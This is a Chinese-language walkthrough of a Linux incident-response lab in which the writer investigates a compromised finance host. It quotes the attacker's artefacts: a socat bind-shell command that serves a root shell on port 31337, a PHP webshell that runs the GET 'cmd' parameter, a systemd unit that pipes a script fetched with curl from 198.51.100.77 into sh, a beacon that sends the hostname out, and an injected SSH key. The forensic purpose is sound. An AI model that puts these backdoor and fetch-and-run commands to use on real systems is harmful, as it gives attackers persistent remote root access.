linux应急响应-原创靶机(附靶机下载地址)"

admin 2026-10-22 12:45:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

linux应急响应-原创靶机(附靶机下载地址)

原创

内存余响
内存余响

内存余响

2026年10月20日 10:02
湖南

去阅读

题目背景:

内部财务门户主机 finance-prod-01 疑似被入侵

账号:admin

密码:yjyjyj

题目1 找到恶意的进程,以及该进程开启的端口

ss -tulnp#列出本机所有正在监听的#TCP/UDP 端口,并显示每个端口是被哪个进程占用的

可以看到本机监听的正常端口是 80(nginx)、22(sshd)、631(cupsd 仅本机),唯独多出一个 0.0.0.0:31337 监听——它不属于任何业务组件,判定为异常。

31337端口通常被黑客用来设置后门,实现对系统的远程控制。

这个程序名为socat

查看这个进程真正运行的程序文件

ls -l /proc/1242/exe

/proc//exe 指向 /usr/bin/socat——说明真实程序就是系统自带的 socat,并没有被改名。socat 本身是正规网络工具,只是被攻击者恶意利用成后门。

恶意进程就是那个以 root 运行、监听 31337 的 socat。它属于Bind Shell 后门:TCP-LISTEN:31337,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane,任何人连上31337 就直接拿到一个 root shell,无需口令。

题目2 找到隐藏的后门

完整查看这个进程

ps -fp 1242

关键在它的命令行:

/usr/bin/socat TCP-LISTEN:31337,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

调用socat在31337这个端口监听,reuseaddr允许端口重用。

fork:每当有一个新的连接进入 31337 端口,就 派生出一个新的子进程来处理。这意味着它可以同时接受多个连接。

EXEC:/bin/bash:它会把任何连接到该端口的流量,直接交给/bin/bash去执行。

也就是说,只要连上 31337 就能直接拿到 root shell——这就是后门①:Bind Shell(socat 监听 31337,连上即得 root shell,无需口令)。

这个 Bind Shell 能长期存活,靠的是权限维持手段(systemd开机自启、cron 等)在支撑,详见题目4。继续找下一个后门——检查 Web 目录的隐藏文件:

在 /var/www/html/uploads/ 用 ls -la 发现隐藏文件 .cache.php——不带 -a 根本看不到,名字伪装成缓存文件,混在正常业务 CSV 中。

源码核心是system($\_GET['cmd']):把 URL 传入的cmd 参数直接作为系统命令执行并回显。它位于上传目录、隐藏文件名、无任何认证鉴权——是标准的 Webshell。

这就是后门②:.cache.php Webshell——攻击者通过 HTTP 传 cmd 即可执行命令,无需认证。

题目3 找到攻击者获取的敏感信息

查看历史记录

在admin这个账户下面没有发现什么

除了admin还有一个analyst的账户,攻击者应该就是用这个账号执行命令

攻击者访问了一个数据库,还有之前的一些作案过程(如果是之前没有找到的后门也可以通过这个历史痕迹来发现)

在/var/www/html/download打开数据库

备份文件 db-backup-20261018.sql 里泄露了三套明文账号口令:

① analyst / IR-Lab-2026!(sysadmin,备注“可 sudo”)——与 SSH 登录口令完全一致,这是整个入侵的入口根因;

② finance\_ro / Fin#2026ro(财务只读)、admin / Adm1n@Fin2026(superadmin);

另外 /var/www/html/include/config.php 里也以明文写了 finance\_ro、admin 两套口令,属另一处泄露源。

以及在root目录下还找到了一些备份

逐一查看

发现三套明文密码, 账号和密码哈希的备份 ,用户私人文件夹打包和财务报表数据

题目4 找到攻击者权限维持的手段

权限维持(持久化)=让后门跨重启、跨进程终止仍能存活,并保持访问/提权能力的手段。本案归为以下几类:

①开机自启(systemd):

先看开机自启服务——权限维持机制的高发地

systemctl list-unit-files --type=service --state=enabled

注意这个 netcfg-helper.service,名字伪装成“网络配置助手”

它调用的正是刚才那个 socat 31337 进程,并且“开机自启+Restart=always”,无论怎么退出都会被自动拉起

netcfg-helper.service 是权限维持机制:开机自启+Restart=always,把 socat Bind Shell 钉在系统里,重启后照样存在。

另外还有个更可疑的 system-update.service

正常的系统更新服务通常叫 apt-daily.service 或 unattended-upgrades.service;这个 system-update.service 极可能是攻击者伪造的恶意服务

仔细查看一下这个

systemctl cat system-update.service

systemctl cat 看到 ExecStart=/bin/sh -c 'curl -fsS http://198.51.100.77/update.sh | sh'——开机就从远端拉脚本直接执行(二阶段 C2,可随时更换 payload),journalctl 也证实它确实去连接过 198.51.100.77:80。结合 systemctl enable,这就是开机自启持久化。

查看一下这个脚本

配套落地载荷 /usr/local/bin/system-update 每 300 秒向 198.51.100.77/beacon?h=$(hostname) 外带主机名——既是存活确认,也是资产指纹外泄(二阶段 C2 心跳)。

②定时任务(cron):

再查定时任务(第三处藏身点)

ls -la /etc/cron.d/

/etc/cron.d/backup-sync 是定时任务持久化:每 5 分钟以 root 身份访问 http://127.0.0.1/uploads/.cache.php?cmd=heartbeat(走本机回环,边界设备看不到)——给 Webshell 保活,每次 access.log 都会多一条 127.0.0.1 的 heartbeat。

③免密访问维持(SSH 公钥):

我们在查看历史命令的时候还有看到复制了一个密钥

攻击者用 sudo cp /tmp/attacker.pub /home/analyst/.ssh/authorized\_keys 注入自己的 ED25519 公钥(注释 ir-lab-attacker),从此可免密登录。注意:公钥认证与口令认证是两条独立通道,只改 analyst 口令而不删这把 key,攻击者照样能进。

维持权限应该就是攻击者设置了自己的账户不需要密码就可以

④提权面(免密 sudo):

查看权限配置的文件

运维给 analyst 放行的免密 sudo,这个非常关键

/etc/sudoers.d/analyst-ops 内容为 analyst ALL=(root) NOPASSWD: /usr/bin/curl, /usr/bin/cp, /usr/bin/systemctl。sudo 只匹配命令前缀、不校验参数,因此 analyst 等于免密 root:curl=任意文件写入、cp=任意文件替换、systemctl enable=持久化闭环——这正是攻击者能用 analyst 完成所有 root 操作的根本原因。

题目5 试着还原攻击者的攻击链路

查看日志

grep \"sudo:\" /var/log/auth.loggrep \"cache.php?cmd\" /var/log/nginx/access.log

18:01:05 10.10.8.23 GET /uploads/.cache.php?cmd=id

18:01:12 10.10.8.23 GET /uploads/.cache.php?cmd=cat%20/etc/passwd

18:01:18 10.10.8.23 GET /uploads/.cache.php?cmd=uname%20-a;id

还原出的完整攻击链:

  1. 根因:Web 目录 download/db-backup-20261018.sql 明文泄露,攻击者先用 curl 拉走数据库备份(access.log,200 1250),拿到 analyst 口令。

  2. 用 analyst / IR-Lab-2026! 从 10.10.8.23 登录 SSH(auth.log:Accepted password)。

  3. 借助 /etc/sudoers.d/analyst-ops 的免密 sudo 提权到 root。

  4. 落地多重后门:sudo curl 写 .cache.php Webshell;sudo cp 落地 /usr/local/bin/system-update 二阶段载荷;sudo systemctl enable 注册 system-update.service;写 /etc/cron.d/backup-sync Cron 心跳;sudo cp 注入 authorized\_keys 公钥;socat 31337 bind shell 由 netcfg-helper.service 常驻。

  5. 通过 Webshell 侦察:cmd=id、cat /etc/passwd、uname -a;id,确认权限、收集账号与主机指纹。

6. 撤离前反取证:rm -f /tmp/update.sh /tmp/attacker.pub。

    一款专注重点资产识别的Web指纹工具" 网络安全文章

    一款专注重点资产识别的Web指纹工具"

    本文介绍开源工具P1finger,用于重点资产指纹识别,支持本地规则库与FOFA两种模式,可导出CSV/JSON结果。文章详述安装使用命令、代理配置及注意事项,强调指纹识别不等于漏洞扫描,需结合人工复核与授权管理,建议将其置于资产整理后、漏洞验证前,作为风险分析参考。
    黑板之外-走向更开放的AI渗透架构设计" 网络安全文章

    黑板之外-走向更开放的AI渗透架构设计"

    本文探讨AI渗透测试架构设计,反思黑板架构的必要性。作者从intentlogic到cybernetics,通过消融实验发现黑板结构不影响效果,主要收益在效率(约16%耗时节省),黑板本质是仪表盘而非发动机。产品cyber保留fact和intent,引入intent状态机与冷热图算法,下版本黑板不再作为主要推理接口,转向可观测性与可解释性优化。
    评论:0   参与:  0